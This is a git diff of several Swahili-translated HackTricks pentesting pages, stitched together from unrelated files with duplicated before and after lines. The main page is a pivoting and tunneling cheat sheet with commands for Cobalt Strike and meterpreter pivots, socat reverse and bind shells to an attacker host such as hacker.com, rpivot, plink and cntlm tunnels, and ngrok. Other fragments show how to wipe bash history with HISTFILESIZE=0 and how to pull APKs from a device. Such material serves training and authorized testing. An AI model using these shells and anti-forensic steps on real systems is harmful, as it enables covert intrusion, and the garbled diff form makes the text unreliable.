SOCKS ni itifaki inayotumiwa kwa kawaida kwa kuficha trafiki ya mtandao. Inaweza kutumika kama njia ya kuvuka kizuizi cha mtandao au kufikia rasilimali zilizozuiliwa. SOCKS inaweza pia kutumika kama seva ya mtoaji wa huduma ya mtandao (ISP) kwa kusaidia watumiaji kufikia mtandao kwa njia isiyojulikana.
|
||||
SOCKS ni itifaki inayotumiwa kwa kusudi la kusafirisha trafiki ya mtandao kati ya seva na mteja, ikiruhusu mteja kupitisha trafiki yake kupitia seva ya proxy.
|
||||
```bash
|
||||
background# meterpreter session
|
||||
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
||||
|
@ -155,7 +155,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||
|
||||
### SOCKS proxy
|
||||
|
||||
Fungua kituo cha kusikiliza katika timu inayosikiliza kwenye interface zote ambazo zinaweza kutumika kusafirisha trafiki kupitia beacon.
|
||||
Fungua kituo cha kusikiliza katika timuserver ikisikiliza kwenye interface zote ambazo zinaweza kutumika kusafirisha trafiki kupitia kwa beacon.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
|
@ -166,16 +166,16 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
|||
### rPort2Port
|
||||
|
||||
{% hint style="warning" %}
|
||||
Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa ishara**, si kwenye Seva ya Timu na trafiki inatumwa kwenye Seva ya Timu na kutoka hapo kwenda kwa mwenyeji:bandari uliyotajwa
|
||||
Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa taa**, sio kwenye Seva ya Timu na trafiki inatumwa kwenye Seva ya Timu na kutoka hapo kwenda kwenye mwenyeji:bandari uliyotajwa
|
||||
{% endhint %}
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
```
|
||||
### rPort2Port local
|
||||
### rPort2Port ya ndani
|
||||
|
||||
{% hint style="warning" %}
|
||||
Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa beacon**, sio kwenye Seva ya Timu na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Seva ya Timu) na kutoka hapo kwenda kwa mwenyeji: bandari iliyotajwa
|
||||
Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa beacon**, sio kwenye Seva ya Timu na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Seva ya Timu) na kutoka hapo kwenda kwa mwenyeji:bandari uliyotajwa
|
||||
{% endhint %}
|
||||
```
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
|
@ -192,7 +192,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
|||
## Chisel
|
||||
|
||||
Unaweza kuipakua kutoka kwenye ukurasa wa matoleo ya [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Unahitaji kutumia **toleo sawa kwa mteja na server**
|
||||
Unahitaji kutumia **toleo sawa kwa mteja na mtandao**.
|
||||
|
||||
### socks
|
||||
```bash
|
||||
|
@ -212,7 +212,7 @@ Unahitaji kutumia **toleo sawa kwa mteja na server**
|
|||
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Mfereji wa nyuma. Mfereji huanzishwa kutoka kwa mwathiriwa.\
|
||||
Mfereji wa nyuma. Mfereji huanzishwa kutoka kwa muathiriwa.\
|
||||
Proksi ya socks4 inaundwa kwenye 127.0.0.1:1080
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
|
@ -221,7 +221,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
|||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
Pitisha kupitia **proksi ya NTLM**
|
||||
Pindua kupitia **proksi ya NTLM**
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
|
@ -239,8 +239,6 @@ victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,
|
|||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||||
```
|
||||
### Reverse shell
|
||||
|
||||
### Kitanzi cha Nyuma
|
||||
```bash
|
||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
|
@ -265,7 +263,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
|||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
Unaweza kuzunguka **proxy isiyo na uthibitisho** kwa kutekeleza mstari huu badala ya wa mwisho kwenye konsoli ya mwathiriwa:
|
||||
Unaweza kuzunguka **proxy isiyo na uthibitishaji** kwa kutekeleza mstari huu badala ya wa mwisho kwenye konsoli ya mhanga:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
|
@ -273,7 +271,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
|
|||
|
||||
### Tuneli ya SSL ya Socat
|
||||
|
||||
**/bin/sh konsoli**
|
||||
**Konsoli ya /bin/sh**
|
||||
|
||||
Unda vyeti pande zote mbili: Mteja na Seva
|
||||
```bash
|
||||
|
@ -291,7 +289,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.
|
|||
```
|
||||
### Kijia cha Mbali hadi Kijia
|
||||
|
||||
unganisha kijia cha SSH cha eneo (22) kwa kijia cha 443 cha mwenyeji wa mshambuliaji
|
||||
unganisha bandari ya SSH ya eneo (22) hadi bandari ya 443 ya mwenyeji wa mshambuliaji
|
||||
```bash
|
||||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||||
|
@ -299,9 +297,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
```
|
||||
## Plink.exe
|
||||
|
||||
Ni kama toleo la kawaida la PuTTY (chaguo zake ni sawa na mteja wa ssh).
|
||||
Ni kama toleo la PuTTY la kidhibiti (chaguo zake ni sawa sana na mteja wa ssh).
|
||||
|
||||
Kwa kuwa faili hii itatekelezwa kwenye kifaa cha mwathiriwa na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kupata uhusiano wa kurudi. Kisha, kusogeza bandari inayopatikana kwa urahisi tu kwenda kwenye bandari kwenye kifaa chetu:
|
||||
Kwa kuwa binary hii itatekelezwa kwa mhanga na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na uunganisho wa nyuma. Kisha, kusonga bandari inayopatikana kwa kiasi kidogo tu kwa bandari kwenye mashine yetu:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
|
@ -333,9 +331,9 @@ Kwenye kompyuta yako ya mteja pakia **`SocksOverRDP-Plugin.dll`** kama hivi:
|
|||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Sasa tunaweza **kuunganisha** kwa **muhanga** kupitia **RDP** kwa kutumia **`mstsc.exe`**, na tunapaswa kupokea **kituoni** kusema kwamba **programu-jalizi ya SocksOverRDP imeanzishwa**, na itakuwa **kisikilize** kwenye **127.0.0.1:1080**.
|
||||
Sasa tunaweza **kuunganisha** kwa **muhanga** kupitia **RDP** kutumia **`mstsc.exe`**, na tunapaswa kupokea **kitufe** kikisema kuwa **programu-jalizi ya SocksOverRDP imeanzishwa**, na itakuwa **ikisikiliza** kwenye **127.0.0.1:1080**.
|
||||
|
||||
**Unge** kupitia **RDP** na kupakia & tekeleza kwenye mashine ya muhanga faili ya `SocksOverRDP-Server.exe`:
|
||||
**Unge** kupitia **RDP** na kupakia & kutekeleza kwenye mashine ya muhanga `SocksOverRDP-Server.exe` binary:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
|
@ -345,16 +343,16 @@ netstat -antb | findstr 1080
|
|||
```
|
||||
Sasa unaweza kutumia [**Proxifier**](https://www.proxifier.com/) **kupitia bandari hiyo.**
|
||||
|
||||
## Proxify Programu za Windows GUI
|
||||
## Kuwezesha Programu za Windows GUI Kupitia Proxi
|
||||
|
||||
Unaweza kufanya programu za Windows GUI zinavyoendelea kupitia proxi kwa kutumia [**Proxifier**](https://www.proxifier.com/).\
|
||||
Unaweza kuwezesha programu za Windows GUI kupitia proxi kwa kutumia [**Proxifier**](https://www.proxifier.com/).\
|
||||
Katika **Profile -> Proxy Servers** ongeza IP na bandari ya seva ya SOCKS.\
|
||||
Katika **Profile -> Proxification Rules** ongeza jina la programu ya kufanywa proxi na uhusiano kwa IPs unazotaka kufanywa proxi.
|
||||
Katika **Profile -> Proxification Rules** ongeza jina la programu ya kuwezesha na uhusiano kwa IPs unazotaka kuwezesha.
|
||||
|
||||
## Kupuuza proxi ya NTLM
|
||||
|
||||
Zana iliyotajwa awali: **Rpivot**\
|
||||
**OpenVPN** pia inaweza kuipuuza, kwa kuweka chaguo hizi katika faili ya usanidi:
|
||||
Zana iliyotajwa hapo awali: **Rpivot**\
|
||||
**OpenVPN** pia inaweza kuipuuza, kwa kuweka chaguo hizi kwenye faili ya usanidi:
|
||||
```bash
|
||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
```
|
||||
|
@ -362,8 +360,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Inathibitisha dhidi ya proxi na kubana bandari kwa upande wa ndani ambayo inaelekezwa kwa huduma ya nje unayotaja. Kisha, unaweza kutumia chombo unachopendelea kupitia bandari hii.\
|
||||
Kwa mfano, hufanya mbele bandari 443
|
||||
Inathibitisha dhidi ya proxi na kubana bandari kwa upande wa ndani ambayo inaelekezwa kwa huduma ya nje unayotaja. Kisha, unaweza kutumia zana unayopenda kupitia bandari hii.\
|
||||
Kwa mfano, inaelekeza bandari 443
|
||||
```
|
||||
Username Alice
|
||||
Password P@ssw0rd
|
||||
|
@ -371,7 +369,7 @@ Domain CONTOSO.COM
|
|||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Sasa, ikiwa weka kwa mfano kwa muhanga huduma ya **SSH** kusikiliza kwenye bandari 443. Unaweza kuunganisha kupitia bandari 2222 ya mshambuliaji.\
|
||||
Sasa, ikiwa unaweka kwa mfano kwenye mhanga huduma ya **SSH** kusikiliza kwenye bandari 443. Unaweza kuunganisha kupitia bandari 2222 ya mshambuliaji.\
|
||||
Unaweza pia kutumia **meterpreter** inayounganisha kwa localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222.
|
||||
|
||||
## YARP
|
||||
|
@ -421,20 +419,20 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
|||
```
|
||||
#### Badilisha DNS ya proxychains
|
||||
|
||||
Proxychains inakamata wito wa libc wa `gethostbyname` na kufanya ombi la tcp DNS kupitia proxy ya socks. Kwa **default** server ya **DNS** ambayo proxychains hutumia ni **4.2.2.2** (imeandikwa kikamilifu). Ili kubadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika mazingira ya **Windows** unaweza kuweka IP ya **domain controller**.
|
||||
Proxychains inakamata wito wa libc wa `gethostbyname` na kufanya ombi la DNS la tcp kupitia socks proxy. Kwa **default** server ya **DNS** ambayo proxychains hutumia ni **4.2.2.2** (imeandikwa kikamilifu). Ili kubadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika mazingira ya **Windows** unaweza kuweka IP ya **domain controller**.
|
||||
|
||||
## Mita Mita katika Go
|
||||
## Tunnels katika Go
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
## Mita ya ICMP
|
||||
## ICMP Tunneling
|
||||
|
||||
### Hans
|
||||
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
Root inahitajika katika mifumo yote kujenga viunganishi vya tun na kufanya data ya tun kati yao kutumia maombi ya ping ya ICMP.
|
||||
Root inahitajika katika mifumo yote kujenga viunganishi vya tun na kutuma data kati yao kutumia ICMP echo requests.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
|
@ -459,7 +457,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
|||
## ngrok
|
||||
|
||||
**[ngrok](https://ngrok.com/) ni chombo cha kufunua suluhisho kwa Mtandao kwa amri moja.**
|
||||
*URI za Ufunuo ni kama:* **UID.ngrok.io**
|
||||
*URI za Kufunua ni kama:* **UID.ngrok.io**
|
||||
|
||||
### Usakinishaji
|
||||
|
||||
|
@ -475,7 +473,7 @@ chmod a+x ./ngrok
|
|||
|
||||
**Nyaraka:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||||
|
||||
*Pia niwezekana kuongeza uthibitisho na TLS, ikiwa ni lazima.*
|
||||
*Pia niwezekanavyo kuongeza uthibitishaji na TLS, ikiwa ni lazima.*
|
||||
|
||||
#### Kuchimba Barabara ya TCP
|
||||
```bash
|
||||
|
@ -490,12 +488,12 @@ chmod a+x ./ngrok
|
|||
./ngrok http file:///tmp/httpbin/
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
```
|
||||
#### Kuchunguza wito wa HTTP
|
||||
#### Kunasa wito wa HTTP
|
||||
|
||||
*Inatumika kwa XSS, SSRF, SSTI ...*
|
||||
Moja kwa moja kutoka kwa stdout au kwenye kiolesura cha HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
|
||||
#### Kupitisha huduma ya ndani ya HTTP
|
||||
#### Kutunelisha huduma ya ndani ya HTTP
|
||||
```bash
|
||||
./ngrok http localhost:8080 --host-header=rewrite
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
|
@ -506,7 +504,7 @@ Moja kwa moja kutoka kwa stdout au kwenye kiolesura cha HTTP [http://127.0.0.1:4
|
|||
|
||||
Inafungua njia 3:
|
||||
- 2 TCP
|
||||
- 1 HTTP na ufunuo wa faili za tuli kutoka /tmp/httpbin/
|
||||
- 1 HTTP na ufunuo wa faili za static kutoka /tmp/httpbin/
|
||||
```yaml
|
||||
tunnels:
|
||||
mytcp:
|
||||
|
@ -526,7 +524,7 @@ addr: file:///tmp/httpbin/
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -534,12 +532,12 @@ addr: file:///tmp/httpbin/
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -10,13 +10,13 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -68,24 +68,24 @@ Kutoka: [https://geek-university.com/linux/common-environment-variables/](https:
|
|||
* **MANPATH** – orodha ya saraka za kutafuta kurasa za mwongozo.
|
||||
* **OSTYPE** – aina ya mfumo wa uendeshaji.
|
||||
* **PS1** – ishara ya amri ya msingi katika bash.
|
||||
* **PATH** – hifadhi njia ya saraka zote zinazoshikilia faili za binary unazotaka kutekeleza kwa kuzitaja kwa jina la faili na sio kwa njia ya kihusishi au kamili.
|
||||
* **PATH** – inahifadhi njia ya saraka zote zinazoshikilia faili za binary unazotaka kutekeleza kwa kuzitaja kwa jina la faili na sio kwa njia ya kihusishi au kamili.
|
||||
* **PWD** – saraka ya kazi ya sasa.
|
||||
* **SHELL** – njia ya kabati ya amri ya sasa (kwa mfano, **/bin/bash**).
|
||||
* **SHELL** – njia ya kabidhi ya amri ya sasa (kwa mfano, **/bin/bash**).
|
||||
* **TERM** – aina ya terminal ya sasa (kwa mfano, **xterm**).
|
||||
* **TZ** – eneo lako la muda.
|
||||
* **TZ** – muda wako wa eneo.
|
||||
* **USER** – jina lako la mtumiaji la sasa.
|
||||
|
||||
## Vipimo vya kuvutia kwa udukuzi
|
||||
|
||||
### **HISTFILESIZE**
|
||||
|
||||
Badilisha **thamani ya kipimo hiki iwe 0**, hivyo unapomaliza **kipindi chako** faili ya **historia** (\~/.bash\_history) **itafutwa**.
|
||||
Badilisha **thamani ya kipimo hiki kuwa 0**, hivyo unapomaliza **kipindi chako** faili ya **historia** (\~/.bash\_history) **itafutwa**.
|
||||
```bash
|
||||
export HISTFILESIZE=0
|
||||
```
|
||||
### **HISTSIZE**
|
||||
|
||||
Badilisha **thamani ya kigezo hiki iwe 0**, ili unapomaliza **kikao chako** amri yoyote isiongezwe kwenye **faili ya historia** (\~/.bash\_history).
|
||||
**Badilisha thamani ya kigezo hiki iwe 0**, ili unapomaliza **kikao chako** amri yoyote isiongezwe kwenye **faili ya historia** (\~/.bash\_history).
|
||||
```bash
|
||||
export HISTSIZE=0
|
||||
```
|
||||
|
@ -105,11 +105,11 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
|||
```
|
||||
### PS1
|
||||
|
||||
**Badilisha jinsi dirisha lako la amri linavyoonekana.**
|
||||
Badilisha jinsi dirisha lako la amri linavyoonekana.
|
||||
|
||||
[**Hii ni mfano**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
|
||||
|
||||
Mizizi:
|
||||
Root:
|
||||
|
||||
![](<../.gitbook/assets/image (87).png>)
|
||||
|
||||
|
@ -125,15 +125,15 @@ Kazi moja iliyowekwa nyuma, moja imezuiliwa na amri ya mwisho haikumalizika kwa
|
|||
|
||||
![](<../.gitbook/assets/image (90).png>)
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -141,6 +141,6 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
@ -21,8 +21,8 @@ Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serve
|
|||
**Machapisho ya Kudukua**\
|
||||
Shiriki na yaliyomo yanayochimba kina cha kudukua na changamoto zake
|
||||
|
||||
**Habari za Kudukua za Muda Halisi**\
|
||||
Kaa up-to-date na ulimwengu wa kudukua wenye kasi kupitia habari za muda halisi na ufahamu
|
||||
**Habari za Kudukua za Wakati Halisi**\
|
||||
Kaa up-to-date na ulimwengu wa kudukua unaobadilika haraka kupitia habari za wakati halisi na ufahamu
|
||||
|
||||
**Matangazo Mapya**\
|
||||
Baki mwelewa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
@ -51,7 +51,7 @@ Marafiki ni muhimu **kurekebisha msimbo wa programu** ili kupata **habari iliyof
|
|||
|
||||
## Mbinu zingine za kuvutia
|
||||
|
||||
* [Kughushi eneo lako kwenye Duka la Google](spoofing-your-location-in-play-store.md)
|
||||
* [Kudanganya eneo lako kwenye Duka la Google](spoofing-your-location-in-play-store.md)
|
||||
* **Pakua APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
|
||||
* Chambua APK kutoka kifaa:
|
||||
```bash
|
||||
|
@ -66,7 +66,7 @@ adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
|||
## Uchambuzi Statis
|
||||
|
||||
Kwanza kabisa, kwa kuchambua APK unapaswa **kutazama msimbo wa Java** kwa kutumia decompiler.\
|
||||
Tafadhali, [**soma hapa kupata habari kuhusu decompilers mbalimbali zilizopo**](apk-decompilers.md).
|
||||
Tafadhali, [**soma hapa kupata habari kuhusu decompilers tofauti zilizopo**](apk-decompilers.md).
|
||||
|
||||
### Kutafuta Habari Muhimu
|
||||
|
||||
|
@ -74,7 +74,7 @@ Kwa kuchunguza **strings** za APK unaweza kutafuta **manenosiri**, **URLs** ([ht
|
|||
|
||||
**Firebase**
|
||||
|
||||
Tilia maanani maalum **URLs za firebase** na hakikisha kama imeconfigurewa vibaya. [Maelezo zaidi kuhusu ni nini Firebase na jinsi ya kuitumia vibaya hapa.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
